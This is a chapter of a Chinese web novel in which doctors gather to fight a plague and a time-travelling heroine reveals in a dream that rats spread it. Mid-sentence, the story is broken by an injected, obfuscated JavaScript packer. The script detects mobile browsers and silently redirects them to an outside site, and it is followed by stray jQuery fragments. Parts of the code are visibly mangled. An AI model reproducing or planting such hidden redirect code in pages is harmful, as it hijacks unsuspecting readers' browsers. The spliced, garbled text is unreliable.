163. 鼠疫(2 / 2)

儘管許多人並不覺得這位夫人能幫到什麼忙,但麵子功夫總是要做到位的,紛紛上前向陳仲因行禮問好。

陳仲因草草做完這些繁文縟節,便好似剛剛見禮是為了點名般,挨個跟過去問他們這兩天的診斷結果,尤其是對那些並州本地的大夫,詢問的尤其詳儘。

他專注打聽著疫症情況,叫原先覺得他是來湊熱鬨的大夫們微微動容。

不多時,人到齊了,便彙聚堂中,開始研究分析這疫病要如何治療。

為首者是並州的醫博士。

自然不是朝廷派下來的醫博士。

並州醫博士這個官職已經廢棄多年,蓋因此次瘟疫來勢洶洶,眾多大夫齊聚並州,需要有專業的人進行調度,才臨時請立了這麼個職位。

排除一些特例的病症,這次疫症的特點便水落石出。

患病者一般會出現發熱的情況,許多病例脖頸、腹溝、腋下伴隨有腫塊,亦有患者起病後一到兩天內出現咳血的症狀。

至於這場疫症從何而起,尚未有完全的定論。

症狀倒是和去歲黃州爆發的瘟疫類似,隻是黃州那場大疫也是不了了之,隻知此病會因氣而動,接觸患者便有風險,並州刺史這才緊急封鎖城池。

陳仲因在聽到“目前能追溯到最早的病症出自某個村子”的消息時,心念一動。

“推測是村上一個樵夫進城賣柴時,將疫病帶進來的。”

“這柴夫前幾日已經病亡,他一家六口皆感染疫病,這些日子陸陸續續不治身亡。”

堂中霎時間落針可聞。

片刻後,有人感慨道:“這疫病實難治愈。”

溯源的事情被暫且擱置,他們又開始就治病藥方的改良進行討論。

陳仲因摩挲著懷

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362514|125449||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

中的那紙藥方,等待片刻後,終於挑到一個合適的時機開口:“諸位,我聽大家方才所言,想起曾獲得一紙藥方,於這疫病的症狀正是對症下藥……”

藥方經眾人傳閱一番,閱覽過藥方的人紛紛麵露驚奇,猶如醍醐灌頂般連連點頭。

“這確實是個極好的方子!”

有人對著藥材與用量念念有詞,與自己所用的方子進行對比,而後讚歎出聲。

“好方子!”醫博士看完,也是止不住地點頭,“隻是絕知此事要躬行,藥效如何,還待這幾日用上一用,悄悄情況如何。”

眾人紛紛點頭。

待這些人商量出一個章程後,外邊已經月掛枝頭。

好在大家都是暫住在這藥堂附近,省了趕路的時候,也能早些洗漱休息,準備明兒一早再去各個醫棚裡就診派藥。

陳仲因先去隔間換下衣物和麵罩,將它們浸泡在水中,換好裡衣才入屋休憩。

剛剛閉上眼睛,陳仲因便似意有所覺般,側首望去。

杜宣緣就盤坐在他床榻邊,支著下巴正笑盈盈看向他。

陳仲因立刻起身,望向杜宣緣的眸子裡也滿是喜悅。

“昨夜有許多事情忘記交代,哪曾想你的效率這般快,今兒就已經跑到並州城來。”杜宣緣帶著幾分嗔怒,“白日裡沒有時間拉你入夢,現在才可算逮著機會了。”

陳仲因赧然低頭,但又忍不住笑著說:“任誰見了杜姑娘那方子,都要誇讚一聲。”

杜宣緣雖然並不覺得係統開掛的產物值得驕傲,但瞧他跟著引以為榮的模樣,她全然說不出什麼掃興的話,隻笑著調戲他道:“那是自然,你的‘相公’當然神通廣大。”

陳仲因經過杜宣緣這麼長時間的“調教”,麵對她現在口頭上的戲弄,雖說稱不上麵不改色,但也不會輕易叫她牽著鼻子走。

他抿抿唇,開口便道:“我今日聽他們討論,覺得這病似乎是從微末之處蔓延出來的。”

杜宣緣見逗不動他也不惱,接著他的話道:“這正是我來的原因。”

“你若是仔細調查,定能發現這場瘟疫的病根,隻是那樣太費時間。兵貴神速,我便來同你作個弊。”

她又道:“這場瘟疫的源頭在於老鼠。”

“老鼠?”陳仲因沉吟片刻,隨後雙眼一亮,大概是想起什麼。

“是。”杜宣緣點點頭,簡單說道,“這幾年儘是荒年,北地又戰亂不休,百姓食不果腹,隻得另辟蹊徑,尋些彆的填肚之物。雖不見得吃下病鼠,但從鼠窩裡掏些老鼠藏匿的糧食都是常有的事情,加上徭役賦稅,百姓常常流竄各地,便容易將病氣帶到各處。”

這場瘟疫,也是北地亂局的一場縮影。

杜宣緣輕歎一聲,接著道:“我知道針對鼠疫的藥物,隻是這種藥物帶不來這世上。若是想遏製瘟疫蔓延,可以從另一個方麵入手。”

她思索著,用另一種方式解釋微生物:“病患、死者、老鼠、跳蚤,乃至他們接觸過的東西都帶著病氣,這種‘氣’畏火,酒對它們也有抑製作用。”

上一頁 書頁/目錄 下一章